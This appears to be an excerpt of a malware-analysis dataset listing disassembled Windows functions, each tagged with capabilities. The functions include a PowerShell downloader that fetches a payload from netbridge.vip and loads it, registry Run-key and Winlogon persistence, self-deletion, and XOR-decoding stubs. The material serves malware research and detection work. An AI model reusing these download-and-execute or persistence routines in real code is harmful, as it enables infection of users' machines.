joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013a0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x268
mov eax, dword [0x40e094]
xor eax, esp
mov dword [esp + 0x264], eax
push esi
push edi
lea eax, [esp + 0x68]
mov edi, ecx
push str.powershell__new_object_Net.WebClient_.DownloadString_http:__netbridge.vip_static_update_windows_v8.txt_
push eax
call fcn.00401070
add esp, 4
lea ecx, [esp + 0x6c]
call fcn.004012b0
add esp, 4
cmp byte [esp + 0x68], 0x7b
jne 0x401566
lea eax, [esp + 0x68]
push eax
call fcn.004032b0
add esp, 4
mov dword [esp + 0x18], eax
test eax, eax
je 0x401566
push str.baseurl
push eax
call fcn.004029e0
push eax
call fcn.00402400
add esp, 0xc
xorps xmm0, xmm0
mov esi, eax
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x1c], esi
movaps xmmword [esp + 0x30], xmm0
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [edi]
push ecx
cmp eax, 0xffffffff
jne 0x40143e
push ecx
push esi
jmp 0x40153c
push dword [esp + 0x1c]
call fcn.004029e0
mov edx, dword [edi]
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], eax
call fcn.004010c0
push 0x40bffc
push dword [esp + 0x20]
lea esi, [esp + 0x30]
call fcn.004029e0
push eax
call fcn.00402400
add esp, 0x14
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x401491
test cl, cl
je 0x40148d
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x401491
add eax, 2
add esi, 2
test cl, cl
jne 0x401471
xor eax, eax
jmp 0x401496
sbb eax, eax
or eax, 1
test eax, eax
je 0x40155a
push dword [edi]
lea eax, [esp + 0x4c]
push str.update._s
push eax
call fcn.00401070
add esp, 0xc
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x48]
mov esi, eax
lea ecx, [esp + 0x20]
call fcn.004010c0
cmp esi, 0xffffffff
je 0x4014ed
push dword [edi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4014ed
push dword [edi]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
push 0x40bffc
push dword [esp + 0x18]
lea esi, [esp + 0x28]
call fcn.004029e0
push eax
call fcn.00402400
add esp, 0xc
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x401528
test cl, cl
je 0x401524
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x401528
add eax, 2
add esi, 2
test cl, cl
jne 0x401508
xor eax, eax
jmp 0x40152d
sbb eax, eax
or eax, 1
test eax, eax
je 0x40155a
lea eax, [esp + 0x48]
push eax
push dword [edi]
push dword [esp + 0x24]
lea eax, [esp + 0x74]
push str.powershell__new_object_Net.WebClient_.DownloadFile__s__s___s_
push eax
call fcn.00401070
add esp, 0x10
lea ecx, [esp + 0x6c]
call fcn.004012b0
add esp, 4
push dword [esp + 0x18]
call fcn.00402d80
add esp, 4
mov ecx, dword [esp + 0x26c]
pop edi
pop esi
xor ecx, esp
call fcn.00408d93
mov esp, ebp
pop ebp
ret
Function at 0x401580
Capabilities:
Check if file exists
Create directory
Create thread
Delete file
Get common file path
Get file attributes
Initialize winsock library
Move file
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3b0
mov eax, dword [0x40e094]
xor eax, esp
mov dword [esp + 0x3ac], eax
push esi
push edi
lea eax, [esp + 0x2a8]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.netbridge.vip
lea eax, [esp + 0x2ac]
push eax
lea eax, [esp + 0x1a8]
push str._s_s
push eax
call fcn.00401790
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1b0]
add esp, 0x10
push eax
call edi
cmp eax, 0xffffffff
je 0x4015ed
test al, 0x10
jne 0x4015fd
push 0
lea eax, [esp + 0x1a4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0x2a8]
mov esi, str.ui.dll
push eax
push 0x104
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
call edi
cmp eax, 0xffffffff
jne 0x4016a0
lea ecx, [esp + 8]
call fcn.004013a0
mov esi, dword [esp + 8]
push esi
lea eax, [esp + 0x2ac]
push eax
lea eax, [esp + 0x1a8]
push str._s_s
push eax
call fcn.00401070
add esp, 0x10
lea eax, [esp + 0x1a0]
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
jne 0x40174a
push 0x10
push 0x40bed2
push 0x40bf28
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push str.ui.dll
lea eax, [esp + 0x1a4]
push str.update._s
push eax
call fcn.00401070
add esp, 0xc
lea eax, [esp + 0x1a0]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016ee
push str.ui.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4016ee
lea eax, [esp + 0x1a0]
push str.ui.dll
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
push 4
call fcn.00408e66
add esp, 4
lea ecx, [esp + 0xc]
mov dword [eax], str.ui.dll
push ecx
push 0
push eax
push 0x4017d0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esp + 8], eax
test eax, eax
je 0x40177d
mov ecx, dword [esp + 0xc]
test ecx, ecx
jne 0x401730
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push ecx
push eax
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je 0x40164c
push eax
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
push str.eyeuiEntry
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
push esi
call eax
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x3b4]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00408d93
mov esp, ebp
pop ebp
ret 0x10
push 6
mov dword [esp + 0x10], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x407a50
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004081d0
add esp, 8
mov dword [ebp - 8], 0
push 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.004093bc
mov esp, ebp
pop ebp
ret

Function at 0x408bb0
Capabilities:
Generate random numbers via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov esi, esp
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
cmp esi, esp
call fcn.004093bc
test eax, eax
jne 0x408c16
push str.error_CryptAcquireContextW
push 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
add esp, 4
push eax
call fcn.00408b50
add esp, 8
push 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov esi, esp
lea eax, [ebp - 0x14]
push eax
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
cmp esi, esp
call fcn.004093bc
test eax, eax
jne 0x408c52
push str.error_CryptGenRandom
push 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
add esp, 4
push eax
call fcn.00408b50
add esp, 8
push 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov esi, esp
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
cmp esi, esp
call fcn.004093bc
mov eax, dword [ebp - 0x14]
push edx
mov ecx, ebp
push eax
lea edx, [0x408c90]
call fcn.00409366
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.004093bc
mov esp, ebp
pop ebp
ret
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - reloc.kernel32.dll_HeapValidate], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push 0x4044f4
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push 0x404530
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push 0x404560
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401f70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4015f0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4015ef
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push reloc.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a5d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401a5d
test byte [ebp + 8], 2
jne 0x401a5d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a81
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401a81
test byte [ebp + 8], 2
jne 0x401a81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - OutputDebugStringW], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402330
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push OutputDebugStringW
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4038f9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4129e8]
jne 0x403903
repz ret
jmp fcn.004050b8

Function at 0x40c4a5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00408e14
xor ebx, ebx
cmp dword [0x414760], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40c57a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40c4e5
xor eax, eax
jmp 0x40c63e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40c4de
push eax
call fcn.00408db1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414760], eax
call esi
push eax
call fcn.00408db1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414764], eax
call esi
push eax
call fcn.00408db1
mov dword [0x414768], eax
lea eax, [ebp - 8]
push eax
call fcn.004048b5
test eax, eax
pop ecx
pop ecx
je 0x40c548
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404d6d
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40c57a
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00408db1
cmp eax, ebx
pop ecx
mov dword [0x414770], eax
je 0x40c57a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00408db1
pop ecx
mov dword [0x41476c], eax
mov eax, dword [0x41476c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40c5f3
cmp dword [0x414770], esi
je 0x40c5f3
push eax
call fcn.00408e1d
pop ecx
call eax
cmp eax, ebx
je 0x40c5c0
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x414770]
call fcn.00408e1d
pop ecx
call eax
test eax, eax
je 0x40c5c0
test byte [ebp - 0x18], 1
jne 0x40c5f3
lea eax, [ebp - 0xc]
push eax
call fcn.004048ec
test eax, eax
pop ecx
je 0x40c5db
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404d6d
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40c5ea
or dword [ebp + 0x10], 0x200000
jmp 0x40c624
or dword [ebp + 0x10], 0x40000
jmp 0x40c624
mov eax, dword [0x414764]
cmp eax, esi
je 0x40c624
push eax
call fcn.00408e1d
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40c624
mov eax, dword [0x414768]
cmp eax, esi
je 0x40c624
push dword [ebp - 4]
push eax
call fcn.00408e1d
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x414760]
call fcn.00408e1d
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402d95
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x402ddb
sub ebx, 0x425680
mov ax, word [ebx + edi*2 + 0x425680]
mov ecx, esi
xor ax, word [edi*2 + 0x425680]
movzx eax, ax
push eax
call fcn.00402250
inc edi
cmp edi, dword [esp + 0x10]
jl 0x402db9
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x403719
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, edx
cmp dword [0x481f30], ebx
jne 0x40375f
mov ecx, ebx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x403740
shr eax, 1
xor eax, 0xedb88320
jmp 0x403742
shr eax, 1
dec edx
jne 0x403733
mov dword [ecx*4 + 0x481b30], eax
inc ecx
cmp ecx, 0x100
jl 0x40372e
mov dword [0x481f30], 1
mov eax, dword [ebp + 8]
or edx, 0xffffffff
xor ecx, ecx
lea eax, [edi + eax*2]
mov esi, eax
sub esi, edi
inc esi
shr esi, 1
cmp edi, eax
cmova esi, ecx
test esi, esi
je 0x403794
movzx eax, byte [edi]
lea edi, [edi + 2]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x481b30]
inc ebx
cmp ebx, esi
jb 0x40377a
pop edi
not edx
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405b21
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x405b67
sub ebx, 0x426250
mov ax, word [ebx + edi*2 + 0x426250]
mov ecx, esi
xor ax, word [edi*2 + 0x426250]
movzx eax, ax
push eax
call fcn.00402250
inc edi
cmp edi, dword [esp + 0x10]
jl 0x405b45
pop edi
mov eax, esi
pop esi
pop ebx
ret 4

Function at 0x405c1f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp byte [0x481b14], 0
push ebx
push esi
push edi
mov edi, ecx
je 0x405cc4
push 7
mov edx, 0x44118c
lea ecx, [ebp - 0x34]
call fcn.00405b21
cmp dword [eax + 0x14], 8
jb 0x405c4e
mov eax, dword [eax]
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push 1
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.0040193d
test esi, esi
je 0x405cc4
mov edx, edi
lea ecx, [ebp - 0x1c]
call fcn.00405b6f
push 0x4265dc
call fcn.0040c820
pop ecx
push eax
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00408f35
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 4]
push ebx
push ecx
push dword [ebp - 0xc]
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.004017dc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405ccb
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov edx, 0x42f210
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x18]
push 0x32
call fcn.00405b21
cmp dword [eax + 0x14], 8
jb 0x405cf0
mov eax, dword [eax]
sub esp, 0x18
mov esi, ebx
push 6
pop ecx
mov edi, esp
push eax
lea eax, [ebp - 0x118]
push 0x7f
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00405b05
add esp, 0x24
lea ecx, [ebp - 0x18]
xor esi, esi
xor edi, edi
inc edi
push esi
push edi
call fcn.0040193d
xor eax, eax
mov dword [ebp - 4], 7
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x18]
lea eax, [ebp - 0x118]
mov dword [ebp - 8], esi
push eax
call fcn.0040181e
lea ecx, [ebp - 0x18]
call fcn.00405c1f
push esi
push edi
lea ecx, [ebp - 0x18]
call fcn.0040193d
push 9
mov edx, 0x473200
lea ecx, [ebp - 0x18]
call fcn.00405b21
cmp dword [eax + 0x14], 8
jb 0x405d65
mov eax, dword [eax]
cmp dword [ebx + 0x14], 8
jb 0x405d6d
mov ebx, dword [ebx]
push 0x40040
push eax
push ebx
push esi
call dword [0x481760]
push esi
push edi
lea ecx, [ebp - 0x18]
call fcn.0040193d
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405d8d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov edx, 0x473200
push esi
mov esi, ecx
lea ecx, [ebp - 0x18]
push 9
call fcn.00405b21
cmp dword [eax + 0x14], 8
jb 0x405dad
mov eax, dword [eax]
cmp dword [esi + 0x14], 8
jb 0x405db5
mov esi, dword [esi]
push 0x40010
push eax
push esi
push 0
call dword [0x481760]
push 0
push 1
lea ecx, [ebp - 0x18]
call fcn.0040193d
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409381
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
xor edi, edi
mov ebx, edx
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], edi
mov word [esi], ax
cmp dword [esp + 0x10], eax
jle 0x4093c7
sub ebx, 0x426330
mov ax, word [ebx + edi*2 + 0x426330]
mov ecx, esi
xor ax, word [edi*2 + 0x426330]
movzx eax, ax
push eax
call fcn.00402250
inc edi
cmp edi, dword [esp + 0x10]
jl 0x4093a5
pop edi
mov eax, esi
pop esi
pop ebx
ret 4